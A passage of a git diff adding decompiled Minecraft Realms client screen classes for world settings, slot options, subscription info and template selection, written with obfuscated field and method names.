1.0F); + float f = flag ? 15.0F : 0.0F; + AbstractGui.blit(p_238028_1_, p_238028_2_ + i, p_238028_3_, f, 0.0F, 15, 15, 30, 15); + RenderSystem.popMatrix(); + } + + if (!"".equals(p_238028_7_)) + { + RealmsSelectWorldTemplateScreen.this.minecraft.getTextureManager().bindTexture(RealmsSelectWorldTemplateScreen.field_237988_c_); + RenderSystem.color4f(1.0F, 1.0F, 1.0F, 1.0F); + RenderSystem.pushMatrix(); + RenderSystem.scalef(1.0F, 1.0F, 1.0F); + int j = p_238028_2_ + i + (flag2 ? 0 : 17); + float f1 = flag1 ? 15.0F : 0.0F; + AbstractGui.blit(p_238028_1_, j, p_238028_3_, f1, 0.0F, 15, 15, 30, 15); + RenderSystem.popMatrix(); + } + + if (flag) + { + RealmsSelectWorldTemplateScreen.this.field_224523_i = RealmsSelectWorldTemplateScreen.field_243163_q; + RealmsSelectWorldTemplateScreen.this.field_224524_j = p_238028_6_; + } + else if (flag1 && !"".equals(p_238028_7_)) + { + RealmsSelectWorldTemplateScreen.this.field_224523_i = RealmsSelectWorldTemplateScreen.field_243164_r; + RealmsSelectWorldTemplateScreen.this.field_224524_j = p_238028_7_; + } + } + } + + class WorldTemplateSelectionList extends RealmsObjectSelectionList + { + public WorldTemplateSelectionList() + { + this(Collections.emptyList()); + } + + public WorldTemplateSelectionList(Iterable p_i51726_2_) + { + super(RealmsSelectWorldTemplateScreen.this.width, RealmsSelectWorldTemplateScreen.this.height, RealmsSelectWorldTemplateScreen.this.field_224529_o ? RealmsSelectWorldTemplateScreen.func_239562_k_(1) : 32, RealmsSelectWorldTemplateScreen.this.height - 40, 46); + p_i51726_2_.forEach(this::func_223876_a); + } + + public void func_223876_a(WorldTemplate p_223876_1_) + { + this.addEntry(RealmsSelectWorldTemplateScreen.this.new WorldTemplateSelectionEntry(p_223876_1_)); + } + + public boolean mouseClicked(double mouseX, double mouseY, int button) + { + if (button == 0 && mouseY >= (double)this.y0 && mouseY <= (double)this.y1) + { + int i = this.width / 2 - 150; + + if (RealmsSelectWorldTemplateScreen.this.field_224524_j != null) + { + Util.getOSType().openURI(RealmsSelectWorldTemplateScreen.this.field_224524_j); + } + + int j = (int)Math.floor(mouseY - (double)this.y0) - this.headerHeight + (int)this.getScrollAmount() - 4; + int k = j / this.itemHeight; + + if (mouseX >= (double)i && mouseX < (double)this.getScrollbarPosition() && k >= 0 && j >= 0 && k < this.getItemCount()) + { + this.func_231400_a_(k); + this.func_231401_a_(j, k, mouseX, mouseY, this.width); + + if (k >= RealmsSelectWorldTemplateScreen.this.field_224517_c.getItemCount()) + { + return super.mouseClicked(mouseX, mouseY, button); + } + + RealmsSelectWorldTemplateScreen.this.field_224526_l = RealmsSelectWorldTemplateScreen.this.field_224526_l + 7; + + if (RealmsSelectWorldTemplateScreen.this.field_224526_l >= 10) + { + RealmsSelectWorldTemplateScreen.this.func_224500_h(); + } + + return true; + } + } + + return super.mouseClicked(mouseX, mouseY, button); + } + + public void func_231400_a_(int p_231400_1_) + { + this.func_239561_k_(p_231400_1_); + + if (p_231400_1_ != -1) + { + WorldTemplate worldtemplate = RealmsSelectWorldTemplateScreen.this.field_224517_c.func_223877_a(p_231400_1_); + String s = I18n.format("narrator.select.list.position", p_231400_1_ + 1, RealmsSelectWorldTemplateScreen.this.field_224517_c.getItemCount()); + String s1 = I18n.format("mco.template.select.narrate.version", worldtemplate.field_230649_c_); + String s2 = I18n.format("mco.template.select.narrate.authors", worldtemplate.field_230650_d_); + String s3 = RealmsNarratorHelper.func_239552_b_(Arrays.asList(worldtemplate.field_230648_b_, s2, worldtemplate.field_230654_h_, s1, s)); + RealmsNarratorHelper.func_239550_a_(I18n.format("narrator.select", s3)); + } + } + + public void setSelected(@Nullable RealmsSelectWorldTemplateScreen.WorldTemplateSelectionEntry entry) + { + super.setSelected(entry); + RealmsSelectWorldTemplateScreen.this.field_224518_d = this.getEventListeners().indexOf(entry); + RealmsSelectWorldTemplateScreen.this.func_224514_b(); + } + + public int getMaxPosition() + { + return this.getItemCount() * 46; + } + + public int getRowWidth() + { + return 300; + } + + public void renderBackground(MatrixStack p_230433_1_) + { + RealmsSelectWorldTemplateScreen.this.renderBackground(p_230433_1_); + } + + public boolean isFocused() + { + return RealmsSelectWorldTemplateScreen.this.getListener() == this; + } + + public boolean func_223878_a() + { + return this.getItemCount() == 0; + } + + public WorldTemplate func_223877_a(int p_223877_1_) + { + return (this.getEventListeners().get(p_223877_1_)).field_223756_a; + } + + public List func_223879_b() + { + return this.getEventListeners().stream().map((p_223875_0_) -> + { + return p_223875_0_.field_223756_a; + }).collect(Collectors.toList()); + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsSettingsScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsSettingsScreen.java new file mode 100644 index 00000000..6180037c --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsSettingsScreen.java @@ -0,0 +1,118 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.dto.RealmsServer; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsSettingsScreen extends RealmsScreen +{ + private static final ITextComponent field_243169_a = new TranslationTextComponent("mco.configure.world.name"); + private static final ITextComponent field_243170_b = new TranslationTextComponent("mco.configure.world.description"); + private final RealmsConfigureWorldScreen field_224565_a; + private final RealmsServer field_224566_b; + private Button field_224568_d; + private TextFieldWidget field_224569_e; + private TextFieldWidget field_224570_f; + private RealmsLabel field_224571_g; + + public RealmsSettingsScreen(RealmsConfigureWorldScreen p_i51751_1_, RealmsServer p_i51751_2_) + { + this.field_224565_a = p_i51751_1_; + this.field_224566_b = p_i51751_2_; + } + + public void tick() + { + this.field_224570_f.tick(); + this.field_224569_e.tick(); + this.field_224568_d.active = !this.field_224570_f.getText().trim().isEmpty(); + } + + public void init() + { + this.minecraft.keyboardListener.enableRepeatEvents(true); + int i = this.width / 2 - 106; + this.field_224568_d = this.addButton(new Button(i - 2, func_239562_k_(12), 106, 20, new TranslationTextComponent("mco.configure.world.buttons.done"), (p_238033_1_) -> + { + this.func_224563_a(); + })); + this.addButton(new Button(this.width / 2 + 2, func_239562_k_(12), 106, 20, DialogTexts.GUI_CANCEL, (p_238032_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224565_a); + })); + String s = this.field_224566_b.field_230586_e_ == RealmsServer.Status.OPEN ? "mco.configure.world.buttons.close" : "mco.configure.world.buttons.open"; + Button button = new Button(this.width / 2 - 53, func_239562_k_(0), 106, 20, new TranslationTextComponent(s), (p_238031_1_) -> + { + if (this.field_224566_b.field_230586_e_ == RealmsServer.Status.OPEN) + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.close.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.close.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen((p_238034_1_) -> + { + if (p_238034_1_) + { + this.field_224565_a.func_237800_a_(this); + } + else { + this.minecraft.displayGuiScreen(this); + } + }, RealmsLongConfirmationScreen.Type.Info, itextcomponent, itextcomponent1, true)); + } + else { + this.field_224565_a.func_237802_a_(false, this); + } + }); + this.addButton(button); + this.field_224570_f = new TextFieldWidget(this.minecraft.fontRenderer, i, func_239562_k_(4), 212, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.configure.world.name")); + this.field_224570_f.setMaxStringLength(32); + this.field_224570_f.setText(this.field_224566_b.func_230775_b_()); + this.addListener(this.field_224570_f); + this.setListenerDefault(this.field_224570_f); + this.field_224569_e = new TextFieldWidget(this.minecraft.fontRenderer, i, func_239562_k_(8), 212, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.configure.world.description")); + this.field_224569_e.setMaxStringLength(32); + this.field_224569_e.setText(this.field_224566_b.func_230768_a_()); + this.addListener(this.field_224569_e); + this.field_224571_g = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.configure.world.settings.title"), this.width / 2, 17, 16777215)); + this.func_231411_u_(); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224565_a); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.field_224571_g.func_239560_a_(this, matrixStack); + this.font.func_243248_b(matrixStack, field_243169_a, (float)(this.width / 2 - 106), (float)func_239562_k_(3), 10526880); + this.font.func_243248_b(matrixStack, field_243170_b, (float)(this.width / 2 - 106), (float)func_239562_k_(7), 10526880); + this.field_224570_f.render(matrixStack, mouseX, mouseY, partialTicks); + this.field_224569_e.render(matrixStack, mouseX, mouseY, partialTicks); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + public void func_224563_a() + { + this.field_224565_a.func_224410_a(this.field_224570_f.getText(), this.field_224569_e.getText()); + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsSlotOptionsScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsSlotOptionsScreen.java new file mode 100644 index 00000000..fd22a5e2 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsSlotOptionsScreen.java @@ -0,0 +1,327 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.RealmsWorldOptions; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.widget.AbstractSlider; +import net.minecraft.client.gui.widget.TextFieldWidget; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsLabel; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.math.MathHelper; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TranslationTextComponent; + +public class RealmsSlotOptionsScreen extends RealmsScreen +{ + public static final ITextComponent[] field_238035_a_ = new ITextComponent[] {new TranslationTextComponent("options.difficulty.peaceful"), new TranslationTextComponent("options.difficulty.easy"), new TranslationTextComponent("options.difficulty.normal"), new TranslationTextComponent("options.difficulty.hard")}; + public static final ITextComponent[] field_238036_b_ = new ITextComponent[] {new TranslationTextComponent("selectWorld.gameMode.survival"), new TranslationTextComponent("selectWorld.gameMode.creative"), new TranslationTextComponent("selectWorld.gameMode.adventure")}; + private static final ITextComponent field_238037_p_ = new TranslationTextComponent("mco.configure.world.on"); + private static final ITextComponent field_238038_q_ = new TranslationTextComponent("mco.configure.world.off"); + private static final ITextComponent field_243171_r = new TranslationTextComponent("selectWorld.gameMode"); + private static final ITextComponent field_243172_s = new TranslationTextComponent("mco.configure.world.edit.slot.name"); + private TextFieldWidget field_224642_e; + protected final RealmsConfigureWorldScreen field_224638_a; + private int field_224643_f; + private int field_224644_g; + private int field_224645_h; + private final RealmsWorldOptions field_224646_i; + private final RealmsServer.ServerType field_224647_j; + private final int field_224648_k; + private int field_224649_l; + private int field_224650_m; + private Boolean field_224651_n; + private Boolean field_224652_o; + private Boolean field_224653_p; + private Boolean field_224654_q; + private Integer field_224655_r; + private Boolean field_224656_s; + private Boolean field_224657_t; + private Button field_224658_u; + private Button field_224659_v; + private Button field_224660_w; + private Button field_224661_x; + private RealmsSlotOptionsScreen.SettingsSlider field_224662_y; + private Button field_224663_z; + private Button field_224635_A; + private RealmsLabel field_224636_B; + private RealmsLabel field_224637_C; + + public RealmsSlotOptionsScreen(RealmsConfigureWorldScreen p_i51750_1_, RealmsWorldOptions p_i51750_2_, RealmsServer.ServerType p_i51750_3_, int p_i51750_4_) + { + this.field_224638_a = p_i51750_1_; + this.field_224646_i = p_i51750_2_; + this.field_224647_j = p_i51750_3_; + this.field_224648_k = p_i51750_4_; + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public void tick() + { + this.field_224642_e.tick(); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224638_a); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void init() + { + this.field_224644_g = 170; + this.field_224643_f = this.width / 2 - this.field_224644_g; + this.field_224645_h = this.width / 2 + 10; + this.field_224649_l = this.field_224646_i.field_230621_h_; + this.field_224650_m = this.field_224646_i.field_230622_i_; + + if (this.field_224647_j == RealmsServer.ServerType.NORMAL) + { + this.field_224651_n = this.field_224646_i.field_230614_a_; + this.field_224655_r = this.field_224646_i.field_230618_e_; + this.field_224657_t = this.field_224646_i.field_230620_g_; + this.field_224653_p = this.field_224646_i.field_230615_b_; + this.field_224654_q = this.field_224646_i.field_230616_c_; + this.field_224652_o = this.field_224646_i.field_230617_d_; + this.field_224656_s = this.field_224646_i.field_230619_f_; + } + else + { + ITextComponent itextcomponent; + + if (this.field_224647_j == RealmsServer.ServerType.ADVENTUREMAP) + { + itextcomponent = new TranslationTextComponent("mco.configure.world.edit.subscreen.adventuremap"); + } + else if (this.field_224647_j == RealmsServer.ServerType.INSPIRATION) + { + itextcomponent = new TranslationTextComponent("mco.configure.world.edit.subscreen.inspiration"); + } + else + { + itextcomponent = new TranslationTextComponent("mco.configure.world.edit.subscreen.experience"); + } + + this.field_224637_C = new RealmsLabel(itextcomponent, this.width / 2, 26, 16711680); + this.field_224651_n = true; + this.field_224655_r = 0; + this.field_224657_t = false; + this.field_224653_p = true; + this.field_224654_q = true; + this.field_224652_o = true; + this.field_224656_s = true; + } + + this.field_224642_e = new TextFieldWidget(this.minecraft.fontRenderer, this.field_224643_f + 2, func_239562_k_(1), this.field_224644_g - 4, 20, (TextFieldWidget)null, new TranslationTextComponent("mco.configure.world.edit.slot.name")); + this.field_224642_e.setMaxStringLength(10); + this.field_224642_e.setText(this.field_224646_i.func_230787_a_(this.field_224648_k)); + this.setListenerDefault(this.field_224642_e); + this.field_224658_u = this.addButton(new Button(this.field_224645_h, func_239562_k_(1), this.field_224644_g, 20, this.func_224618_d(), (p_238059_1_) -> + { + this.field_224651_n = !this.field_224651_n; + p_238059_1_.setMessage(this.func_224618_d()); + })); + this.addButton(new Button(this.field_224643_f, func_239562_k_(3), this.field_224644_g, 20, this.func_224610_c(), (p_238057_1_) -> + { + this.field_224650_m = (this.field_224650_m + 1) % field_238036_b_.length; + p_238057_1_.setMessage(this.func_224610_c()); + })); + this.field_224659_v = this.addButton(new Button(this.field_224645_h, func_239562_k_(3), this.field_224644_g, 20, this.func_224606_e(), (p_238056_1_) -> + { + this.field_224653_p = !this.field_224653_p; + p_238056_1_.setMessage(this.func_224606_e()); + })); + this.addButton(new Button(this.field_224643_f, func_239562_k_(5), this.field_224644_g, 20, this.func_224625_b(), (p_238055_1_) -> + { + this.field_224649_l = (this.field_224649_l + 1) % field_238035_a_.length; + p_238055_1_.setMessage(this.func_224625_b()); + + if (this.field_224647_j == RealmsServer.ServerType.NORMAL) + { + this.field_224660_w.active = this.field_224649_l != 0; + this.field_224660_w.setMessage(this.func_224626_f()); + } + })); + this.field_224660_w = this.addButton(new Button(this.field_224645_h, func_239562_k_(5), this.field_224644_g, 20, this.func_224626_f(), (p_238053_1_) -> + { + this.field_224654_q = !this.field_224654_q; + p_238053_1_.setMessage(this.func_224626_f()); + })); + this.field_224662_y = this.addButton(new RealmsSlotOptionsScreen.SettingsSlider(this.field_224643_f, func_239562_k_(7), this.field_224644_g, this.field_224655_r, 0.0F, 16.0F)); + this.field_224661_x = this.addButton(new Button(this.field_224645_h, func_239562_k_(7), this.field_224644_g, 20, this.func_224621_g(), (p_238052_1_) -> + { + this.field_224652_o = !this.field_224652_o; + p_238052_1_.setMessage(this.func_224621_g()); + })); + this.field_224635_A = this.addButton(new Button(this.field_224643_f, func_239562_k_(9), this.field_224644_g, 20, this.func_224634_i(), (p_238051_1_) -> + { + this.field_224657_t = !this.field_224657_t; + p_238051_1_.setMessage(this.func_224634_i()); + })); + this.field_224663_z = this.addButton(new Button(this.field_224645_h, func_239562_k_(9), this.field_224644_g, 20, this.func_224594_h(), (p_238049_1_) -> + { + this.field_224656_s = !this.field_224656_s; + p_238049_1_.setMessage(this.func_224594_h()); + })); + + if (this.field_224647_j != RealmsServer.ServerType.NORMAL) + { + this.field_224658_u.active = false; + this.field_224659_v.active = false; + this.field_224661_x.active = false; + this.field_224660_w.active = false; + this.field_224662_y.active = false; + this.field_224663_z.active = false; + this.field_224635_A.active = false; + } + + if (this.field_224649_l == 0) + { + this.field_224660_w.active = false; + } + + this.addButton(new Button(this.field_224643_f, func_239562_k_(13), this.field_224644_g, 20, new TranslationTextComponent("mco.configure.world.buttons.done"), (p_238048_1_) -> + { + this.func_224613_k(); + })); + this.addButton(new Button(this.field_224645_h, func_239562_k_(13), this.field_224644_g, 20, DialogTexts.GUI_CANCEL, (p_238046_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224638_a); + })); + this.addListener(this.field_224642_e); + this.field_224636_B = this.addListener(new RealmsLabel(new TranslationTextComponent("mco.configure.world.buttons.options"), this.width / 2, 17, 16777215)); + + if (this.field_224637_C != null) + { + this.addListener(this.field_224637_C); + } + + this.func_231411_u_(); + } + + private ITextComponent func_224625_b() + { + return (new TranslationTextComponent("options.difficulty")).appendString(": ").append(field_238035_a_[this.field_224649_l]); + } + + private ITextComponent func_224610_c() + { + return new TranslationTextComponent("options.generic_value", field_243171_r, field_238036_b_[this.field_224650_m]); + } + + private ITextComponent func_224618_d() + { + return (new TranslationTextComponent("mco.configure.world.pvp")).appendString(": ").append(func_238050_c_(this.field_224651_n)); + } + + private ITextComponent func_224606_e() + { + return (new TranslationTextComponent("mco.configure.world.spawnAnimals")).appendString(": ").append(func_238050_c_(this.field_224653_p)); + } + + private ITextComponent func_224626_f() + { + return this.field_224649_l == 0 ? (new TranslationTextComponent("mco.configure.world.spawnMonsters")).appendString(": ").append(new TranslationTextComponent("mco.configure.world.off")) : (new TranslationTextComponent("mco.configure.world.spawnMonsters")).appendString(": ").append(func_238050_c_(this.field_224654_q)); + } + + private ITextComponent func_224621_g() + { + return (new TranslationTextComponent("mco.configure.world.spawnNPCs")).appendString(": ").append(func_238050_c_(this.field_224652_o)); + } + + private ITextComponent func_224594_h() + { + return (new TranslationTextComponent("mco.configure.world.commandBlocks")).appendString(": ").append(func_238050_c_(this.field_224656_s)); + } + + private ITextComponent func_224634_i() + { + return (new TranslationTextComponent("mco.configure.world.forceGameMode")).appendString(": ").append(func_238050_c_(this.field_224657_t)); + } + + private static ITextComponent func_238050_c_(boolean p_238050_0_) + { + return p_238050_0_ ? field_238037_p_ : field_238038_q_; + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + this.font.func_243248_b(matrixStack, field_243172_s, (float)(this.field_224643_f + this.field_224644_g / 2 - this.font.getStringPropertyWidth(field_243172_s) / 2), (float)(func_239562_k_(0) - 5), 16777215); + this.field_224636_B.func_239560_a_(this, matrixStack); + + if (this.field_224637_C != null) + { + this.field_224637_C.func_239560_a_(this, matrixStack); + } + + this.field_224642_e.render(matrixStack, mouseX, mouseY, partialTicks); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private String func_224604_j() + { + return this.field_224642_e.getText().equals(this.field_224646_i.func_230790_b_(this.field_224648_k)) ? "" : this.field_224642_e.getText(); + } + + private void func_224613_k() + { + if (this.field_224647_j != RealmsServer.ServerType.ADVENTUREMAP && this.field_224647_j != RealmsServer.ServerType.EXPERIENCE && this.field_224647_j != RealmsServer.ServerType.INSPIRATION) + { + this.field_224638_a.func_224386_a(new RealmsWorldOptions(this.field_224651_n, this.field_224653_p, this.field_224654_q, this.field_224652_o, this.field_224655_r, this.field_224656_s, this.field_224649_l, this.field_224650_m, this.field_224657_t, this.func_224604_j())); + } + else + { + this.field_224638_a.func_224386_a(new RealmsWorldOptions(this.field_224646_i.field_230614_a_, this.field_224646_i.field_230615_b_, this.field_224646_i.field_230616_c_, this.field_224646_i.field_230617_d_, this.field_224646_i.field_230618_e_, this.field_224646_i.field_230619_f_, this.field_224649_l, this.field_224650_m, this.field_224646_i.field_230620_g_, this.func_224604_j())); + } + } + + class SettingsSlider extends AbstractSlider + { + private final double field_238066_c_; + private final double field_238067_d_; + + public SettingsSlider(int p_i232222_2_, int p_i232222_3_, int p_i232222_4_, int p_i232222_5_, float p_i232222_6_, float p_i232222_7_) + { + super(p_i232222_2_, p_i232222_3_, p_i232222_4_, 20, StringTextComponent.EMPTY, 0.0D); + this.field_238066_c_ = (double)p_i232222_6_; + this.field_238067_d_ = (double)p_i232222_7_; + this.sliderValue = (double)((MathHelper.clamp((float)p_i232222_5_, p_i232222_6_, p_i232222_7_) - p_i232222_6_) / (p_i232222_7_ - p_i232222_6_)); + this.func_230979_b_(); + } + + public void func_230972_a_() + { + if (RealmsSlotOptionsScreen.this.field_224662_y.active) + { + RealmsSlotOptionsScreen.this.field_224655_r = (int)MathHelper.lerp(MathHelper.clamp(this.sliderValue, 0.0D, 1.0D), this.field_238066_c_, this.field_238067_d_); + } + } + + protected void func_230979_b_() + { + this.setMessage((new TranslationTextComponent("mco.configure.world.spawnProtection")).appendString(": ").append((ITextComponent)(RealmsSlotOptionsScreen.this.field_224655_r == 0 ? new TranslationTextComponent("mco.configure.world.off") : new StringTextComponent(String.valueOf((Object)RealmsSlotOptionsScreen.this.field_224655_r))))); + } + + public void onClick(double mouseX, double mouseY) + { + } + + public void onRelease(double mouseX, double mouseY) + { + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsSubscriptionInfoScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsSubscriptionInfoScreen.java new file mode 100644 index 00000000..6c7f4143 --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsSubscriptionInfoScreen.java @@ -0,0 +1,225 @@ +package com.mojang.realmsclient.gui.screens; + +import com.mojang.blaze3d.matrix.MatrixStack; +import com.mojang.realmsclient.client.RealmsClient; +import com.mojang.realmsclient.dto.RealmsServer; +import com.mojang.realmsclient.dto.Subscription; +import com.mojang.realmsclient.exception.RealmsServiceException; +import java.text.DateFormat; +import java.util.Calendar; +import java.util.GregorianCalendar; +import java.util.TimeZone; +import net.minecraft.client.gui.DialogTexts; +import net.minecraft.client.gui.screen.Screen; +import net.minecraft.client.gui.widget.button.Button; +import net.minecraft.realms.RealmsNarratorHelper; +import net.minecraft.realms.RealmsScreen; +import net.minecraft.util.Util; +import net.minecraft.util.text.IFormattableTextComponent; +import net.minecraft.util.text.ITextComponent; +import net.minecraft.util.text.StringTextComponent; +import net.minecraft.util.text.TranslationTextComponent; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; + +public class RealmsSubscriptionInfoScreen extends RealmsScreen +{ + private static final Logger field_224579_a = LogManager.getLogger(); + private static final ITextComponent field_243173_b = new TranslationTextComponent("mco.configure.world.subscription.title"); + private static final ITextComponent field_243174_c = new TranslationTextComponent("mco.configure.world.subscription.start"); + private static final ITextComponent field_243175_p = new TranslationTextComponent("mco.configure.world.subscription.timeleft"); + private static final ITextComponent field_243176_q = new TranslationTextComponent("mco.configure.world.subscription.recurring.daysleft"); + private static final ITextComponent field_243177_r = new TranslationTextComponent("mco.configure.world.subscription.expired"); + private static final ITextComponent field_243178_s = new TranslationTextComponent("mco.configure.world.subscription.less_than_a_day"); + private static final ITextComponent field_243179_t = new TranslationTextComponent("mco.configure.world.subscription.month"); + private static final ITextComponent field_243180_u = new TranslationTextComponent("mco.configure.world.subscription.months"); + private static final ITextComponent field_243181_v = new TranslationTextComponent("mco.configure.world.subscription.day"); + private static final ITextComponent field_243182_w = new TranslationTextComponent("mco.configure.world.subscription.days"); + private final Screen field_224580_b; + private final RealmsServer field_224581_c; + private final Screen field_224582_d; + private ITextComponent field_224590_l; + private String field_224591_m; + private Subscription.Type field_224592_n; + + public RealmsSubscriptionInfoScreen(Screen p_i232223_1_, RealmsServer p_i232223_2_, Screen p_i232223_3_) + { + this.field_224580_b = p_i232223_1_; + this.field_224581_c = p_i232223_2_; + this.field_224582_d = p_i232223_3_; + } + + public void init() + { + this.func_224573_a(this.field_224581_c.field_230582_a_); + RealmsNarratorHelper.func_239551_a_(field_243173_b.getString(), field_243174_c.getString(), this.field_224591_m, field_243175_p.getString(), this.field_224590_l.getString()); + this.minecraft.keyboardListener.enableRepeatEvents(true); + this.addButton(new Button(this.width / 2 - 100, func_239562_k_(6), 200, 20, new TranslationTextComponent("mco.configure.world.subscription.extend"), (p_238073_1_) -> + { + String s = "https://aka.ms/ExtendJavaRealms?subscriptionId=" + this.field_224581_c.field_230583_b_ + "&profileId=" + this.minecraft.getSession().getPlayerID(); + this.minecraft.keyboardListener.setClipboardString(s); + Util.getOSType().openURI(s); + })); + this.addButton(new Button(this.width / 2 - 100, func_239562_k_(12), 200, 20, DialogTexts.GUI_BACK, (p_238071_1_) -> + { + this.minecraft.displayGuiScreen(this.field_224580_b); + })); + + if (this.field_224581_c.field_230591_j_) + { + this.addButton(new Button(this.width / 2 - 100, func_239562_k_(10), 200, 20, new TranslationTextComponent("mco.configure.world.delete.button"), (p_238069_1_) -> + { + ITextComponent itextcomponent = new TranslationTextComponent("mco.configure.world.delete.question.line1"); + ITextComponent itextcomponent1 = new TranslationTextComponent("mco.configure.world.delete.question.line2"); + this.minecraft.displayGuiScreen(new RealmsLongConfirmationScreen(this::func_238074_c_, RealmsLongConfirmationScreen.Type.Warning, itextcomponent, itextcomponent1, true)); + })); + } + } + + private void func_238074_c_(boolean p_238074_1_) + { + if (p_238074_1_) + { + (new Thread("Realms-delete-realm") + { + public void run() + { + try + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + realmsclient.func_224916_h(RealmsSubscriptionInfoScreen.this.field_224581_c.field_230582_a_); + } + catch (RealmsServiceException realmsserviceexception) + { + RealmsSubscriptionInfoScreen.field_224579_a.error("Couldn't delete world"); + RealmsSubscriptionInfoScreen.field_224579_a.error(realmsserviceexception); + } + + RealmsSubscriptionInfoScreen.this.minecraft.execute(() -> + { + RealmsSubscriptionInfoScreen.this.minecraft.displayGuiScreen(RealmsSubscriptionInfoScreen.this.field_224582_d); + }); + } + }).start(); + } + + this.minecraft.displayGuiScreen(this); + } + + private void func_224573_a(long p_224573_1_) + { + RealmsClient realmsclient = RealmsClient.func_224911_a(); + + try + { + Subscription subscription = realmsclient.func_224933_g(p_224573_1_); + this.field_224590_l = this.func_224576_a(subscription.field_230635_b_); + this.field_224591_m = func_224574_b(subscription.field_230634_a_); + this.field_224592_n = subscription.field_230636_c_; + } + catch (RealmsServiceException realmsserviceexception) + { + field_224579_a.error("Couldn't get subscription"); + this.minecraft.displayGuiScreen(new RealmsGenericErrorScreen(realmsserviceexception, this.field_224580_b)); + } + } + + private static String func_224574_b(long p_224574_0_) + { + Calendar calendar = new GregorianCalendar(TimeZone.getDefault()); + calendar.setTimeInMillis(p_224574_0_); + return DateFormat.getDateTimeInstance().format(calendar.getTime()); + } + + public void onClose() + { + this.minecraft.keyboardListener.enableRepeatEvents(false); + } + + public boolean keyPressed(int keyCode, int scanCode, int modifiers) + { + if (keyCode == 256) + { + this.minecraft.displayGuiScreen(this.field_224580_b); + return true; + } + else + { + return super.keyPressed(keyCode, scanCode, modifiers); + } + } + + public void render(MatrixStack matrixStack, int mouseX, int mouseY, float partialTicks) + { + this.renderBackground(matrixStack); + int i = this.width / 2 - 100; + drawCenteredString(matrixStack, this.font, field_243173_b, this.width / 2, 17, 16777215); + this.font.func_243248_b(matrixStack, field_243174_c, (float)i, (float)func_239562_k_(0), 10526880); + this.font.drawString(matrixStack, this.field_224591_m, (float)i, (float)func_239562_k_(1), 16777215); + + if (this.field_224592_n == Subscription.Type.NORMAL) + { + this.font.func_243248_b(matrixStack, field_243175_p, (float)i, (float)func_239562_k_(3), 10526880); + } + else if (this.field_224592_n == Subscription.Type.RECURRING) + { + this.font.func_243248_b(matrixStack, field_243176_q, (float)i, (float)func_239562_k_(3), 10526880); + } + + this.font.func_243248_b(matrixStack, this.field_224590_l, (float)i, (float)func_239562_k_(4), 16777215); + super.render(matrixStack, mouseX, mouseY, partialTicks); + } + + private ITextComponent func_224576_a(int p_224576_1_) + { + if (p_224576_1_ < 0 && this.field_224581_c.field_230591_j_) + { + return field_243177_r; + } + else if (p_224576_1_ <= 1) + { + return field_243178_s; + } + else + { + int i = p_224576_1_ / 30; + int j = p_224576_1_ % 30; + IFormattableTextComponent iformattabletextcomponent = new StringTextComponent(""); + + if (i > 0) + { + iformattabletextcomponent.appendString(Integer.toString(i)).appendString(" "); + + if (i == 1) + { + iformattabletextcomponent.append(field_243179_t); + } + else + { + iformattabletextcomponent.append(field_243180_u); + } + } + + if (j > 0) + { + if (i > 0) + { + iformattabletextcomponent.appendString(", "); + } + + iformattabletextcomponent.appendString(Integer.toString(j)).appendString(" "); + + if (j == 1) + { + iformattabletextcomponent.append(field_243181_v); + } + else + { + iformattabletextcomponent.append(field_243182_w); + } + } + + return iformattabletextcomponent; + } + } +} diff --git a/src/com/mojang/realmsclient/gui/screens/RealmsTermsScreen.java b/src/com/mojang/realmsclient/gui/screens/RealmsTermsScreen.java new file mode 100644 index 00000000..3fc83f0d --- /dev/null +++ b/src/com/mojang/realmsclient/gui/screens/RealmsTermsScreen.java @@ -0,0 +1,127 @@ +package 